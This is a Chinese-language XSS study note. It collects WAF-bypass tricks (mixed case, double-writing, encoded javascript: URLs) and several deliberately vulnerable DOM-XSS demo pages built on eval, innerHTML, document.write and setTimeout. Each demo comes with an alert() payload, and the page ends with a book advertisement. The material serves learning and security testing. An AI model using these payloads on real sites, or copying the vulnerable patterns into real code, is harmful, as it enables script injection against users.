内容简介:地址:参考wp:小记:
参考wp: https://xz.aliyun.com/t/1206
小记:
-
<input>
标签里面可触发alert的事件oninput
和onchange
-
<a>
href的javascript<a href="javascript:alert(/1/)">axxx</a>
-
有waf过滤时,多查看源码,看看payload发生了什么变化
常用绕过方式 双写绕过 大小写绕过
-
协议绕过
-
Javascript:伪协议后面可以使用URL编码。 如:<a href="javas%09cript:alert(1)">click me</a>可成功执行弹窗。 可用img就不行:<img src=1 onerror="javas%09cript:alert(1)"> 因为href属性会跳转到其中的URL,而会进行URL解码,onerror属性只会执行JS,不跳转同时后面的url编码可以再做一次entity(HTML实体)编码: %09 --> TAB %0d --> 回车 %0a --> 空格
html标签不区分大小写,但是javascript区分大小写
<iMg sRc=x onError=alert(1)> 弹窗 <iMg sRc=x onError=aLert(1)> 不弹窗
-
referer和User-Agent和xff cookie等也可能造成XSS(当这些信息会输出到页面时)
-
angularjs的ng-include 加载外面html导致的XSS
?src='level1.php?name=test<img src=1 onerror=alert(1)>'
-
flash xss
flash xss可使用JPEXS 对下载的flash进行逆向分析,找到关键函数
Flash xss检测脚本的简单实现 https://www.freebuf.com/sectool/108568.html
dom-xss
一个简单的demo
test.html
<html> <head> <meta charset="utf-8"> <title>XSSdemo</title> </head> <script> eval(location.hash.substr(1)); </script> <body> test </body> </html>
payload
xxxxx/test.html#alert(1);
分析
location.hash.substr(1)
提取出来的是
alert(1)
eval执行了alert(1),从而引发了xss
几种常见的dom型xss
使用document.write直接输出导致浏览器解析恶意代码
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title></title> <script type="text/javascript"> var s=location.search; //返回URL中的查询部分(?之后的内容) s=s.substring(1,s.length); //返回整个查询内容 var url=""; //定义变量url if(s.indexOf("url=")>-1){ //判断URL是否为空 var pos=s.indexOf("url=")+4; //过滤掉"url="字符 url=s.substring(pos,s.length); //得到地址栏里的url参数 }else{ url="url参数为空"; } document.write("url: <a href='"+url+"'>"+url+"</a>"); //输出 </script> </head> <body> </body> </html>
payload
xxx/test.html?url=javascript:alert(1)
使用innerHTML直接输出导致浏览器解析恶意代码
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title></title> <script type="text/javascript"> var s=location.search; //返回URL中的查询部分(?之后的内容) s=s.substring(1,s.length); //返回整个查询内容 var url=""; //定义变量url if(s.indexOf("url=")>-1){ //判断URL是否为空 var pos=s.indexOf("url=")+4; //过滤掉"url="字符 url=s.substring(pos,s.length); //得到地址栏里的url参数 }else{ url="url参数为空"; } </script> </head> <body> <span id='test'><a href=""></a></span> <script type="text/javascript">document.getElementById("test").innerHTML="我的url是: <a href='"+url+"'>"+url+"</a>"; </script> </body> </html>
payload
xxx/test.html?url=javascript:alert(1)
使用location/location.href/location.replace/iframe.src造成的XSS
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title></title> <script type="text/javascript"> var s=location.search; //返回URL中的查询部分(?之后的内容) s=s.substring(1,s.length); //返回整个查询内容 var url=""; //定义变量url if(s.indexOf("url=")>-1){ //判断URL是否为空 var pos=s.indexOf("url=")+4; //过滤掉"url="字符 url=s.substring(pos,s.length); //得到地址栏里的url参数 // }else{ //此处注释掉 // url="url参数为空"; //此处注释掉 } </script> </head> <body> <span id='test'><a href=""></a></span> <script type="text/javascript">location.href=url</script> </body> </html>
使用setTimeout/setInterval造成的XSS
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title></title> <script type="text/javascript"> var s=location.search; //返回URL中的查询部分(?之后的内容) s=s.substring(1,s.length); //返回整个查询内容 var url=""; //定义变量url if(s.indexOf("url=")>-1){ //判断URL是否为空 var pos=s.indexOf("url=")+4; //过滤掉"url="字符 url=s.substring(pos,s.length); //得到地址栏里的url参数 }else{ url="url参数为空"; } </script> </head> <body> <textarea id="test" rows="8" cols="40">2s获取url</textarea> <script type="text/javascript"> function showURL(url){ document.getElementById('test').value=url; } if(url!="url参数为空") setTimeout("showURL('"+url+"')",2000); //setInterval("showURL('"+url+"')",3000); </script> </body> </html>
payload
test.html?url=aa');alert('xsstest');eval('
setTimeout变成
setTimeout(“showURL(‘“‘);alert(‘xsstest’);eval(‘+url+”‘)”,2000);
火狐下会自动对参数传输进行url编码
导致xss失败
输出为aa%27);alert(%27xsstest%27);eval(%27
edge下有效
dom-xss实例
色块XSS
test.htm
<script type="text/javascript"> varname = location.search.substr(1); var varnames = varname.split('|'); varname = varnames[0]; varnamev = varnames[1]; fun = varnames[2] || ''; var colors = '\ 000000#000000#000033#000066#000099#0000CC#0000FF#003300#003333#003366#003399#0033CC#0033FF#006600#006633#006666#006699#0066CC#0066FF#\ 333333#009900#009933#009966#009999#0099CC#0099FF#00CC00#00CC33#00CC66#00CC99#00CCCC#00CCFF#00FF00#00FF33#00FF66#00FF99#00FFCC#00FFFF#\ 666666#330000#330033#330066#330099#3300CC#3300FF#333300#333333#333366#333399#3333CC#3333FF#336600#336633#336666#336699#3366CC#3366FF#\ 999999#339900#339933#339966#339999#3399CC#3399FF#33CC00#33CC33#33CC66#33CC99#33CCCC#33CCFF#33FF00#33FF33#33FF66#33FF99#33FFCC#33FFFF#\ CCCCCC#660000#660033#660066#660099#6600CC#6600FF#663300#663333#663366#663399#6633CC#6633FF#666600#666633#666666#666699#6666CC#6666FF#\ FFFFFF#669900#669933#669966#669999#6699CC#6699FF#66CC00#66CC33#66CC66#66CC99#66CCCC#66CCFF#66FF00#66FF33#66FF66#66FF99#66FFCC#66FFFF#\ FF0000#990000#990033#990066#990099#9900CC#9900FF#993300#993333#993366#993399#9933CC#9933FF#996600#996633#996666#996699#9966CC#9966FF#\ 00FF00#999900#999933#999966#999999#9999CC#9999FF#99CC00#99CC33#99CC66#99CC99#99CCCC#99CCFF#99FF00#99FF33#99FF66#99FF99#99FFCC#99FFFF#\ 0000FF#CC0000#CC0033#CC0066#CC0099#CC00CC#CC00FF#CC3300#CC3333#CC3366#CC3399#CC33CC#CC33FF#CC6600#CC6633#CC6666#CC6699#CC66CC#CC66FF#\ FFFF00#CC9900#CC9933#CC9966#CC9999#CC99CC#CC99FF#CCCC00#CCCC33#CCCC66#CCCC99#CCCCCC#CCCCFF#CCFF00#CCFF33#CCFF66#CCFF99#CCFFCC#CCFFFF#\ 00FFFF#FF0000#FF0033#FF0066#FF0099#FF00CC#FF00FF#FF3300#FF3333#FF3366#FF3399#FF33CC#FF33FF#FF6600#FF6633#FF6666#FF6699#FF66CC#FF66FF#\ FF00FF#FF9900#FF9933#FF9966#FF9999#FF99CC#FF99FF#FFCC00#FFCC33#FFCC66#FFCC99#FFCCCC#FFCCFF#FFFF00#FFFF33#FFFF66#FFFF99#FFFFCC#FFFFFF'; var colorarray = colors.split('#'); var setv = ''; function showcolors() { var s = ''; for(c in colorarray) { s += '<em onmouseover="v(\'' + colorarray[c] + '\')" style="background-color:#' + colorarray[c] + '"></em>'; } document.getElementById('colors').innerHTML = s; } function setvalue(obj) { if(varname) { parent.$(varname).style.backgroundColor = setv; } if(varnamev) { parent.$(varnamev).value = setv; } if(fun) eval('parent.'+fun+'("'+setv+'")'); } function v(v) { v = v != 'transparent' ? '#' + v : 'transparent'; document.getElementById('p').style.backgroundColor = v; setv = v; document.getElementById('pv').innerHTML = v; } </script> <style> body { margin:0px;background-color:#333; } #h { padding:0;width:210px;height:15px;background-color:#CCC;overflow:hidden;} #p { margin:0;display:block;float:left;font-size:0;width:140px;height:13px;background:#DDF0DF; } #pv { margin:0;display:block;float:left;font-size:12px;width:58px;height:13px;overflow:hidden;text-align: right;font-style:normal;background:#DDF0DF; } #colors { clear:both;width:209px; height:133px; } #colors em, .trans { font-size:0;margin:1px 0 0 1px;width:10px;height:10px;float:left;cursor:pointer; } .trans { background-color: #FFF; } </style> <body onmousedown="setvalue(document.getElementById('colorhex'))" scrolling="no"> <div id="h"><em id="p"></em><em id="pv"></em><em class="trans" onmouseover="v('transparent')" style="background-image:url('transcolor.gif')"></em></div> <div id="colors"></div> <script type="text/javascript"> showcolors(); try {document.getElementById('box').style.backgroundColor = cvalue;} catch(e) {} </script> </body>
payload
test.htm?||alert(/xss/)
这里是由于fun变量没有过滤导致的
fun = varnames[2] || ''; 这里fun等于alert(/xss/)
eval函数执行 parent.alert(/xss/) 触发xss
if(fun) eval('parent.'+fun+'("'+setv+'")'); }
以上所述就是小编给大家介绍的《XSS学习小记》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Internet与WWW程序设计教程(第三版)
戴特尔 / 电子工业出版社 / 2005-8 / 95.00元
《Internet与WWW程序设计教程》(第3版)以大量生动、实用的示例讲述了如何编写多层的、客户/服务器的、数据密集的、基于Web的应用程序,介绍了如何使用XHTML、JavaScript、DHTML、Flash和XML建立客户端应用程序,也介绍了如何使用Web服务器(IIS、PWS和Apache)、数据库(SQL、MySQL、DBI和ADO)、ASP、Perl、CGI、Python、PHP、J......一起来看看 《Internet与WWW程序设计教程(第三版)》 这本书的介绍吧!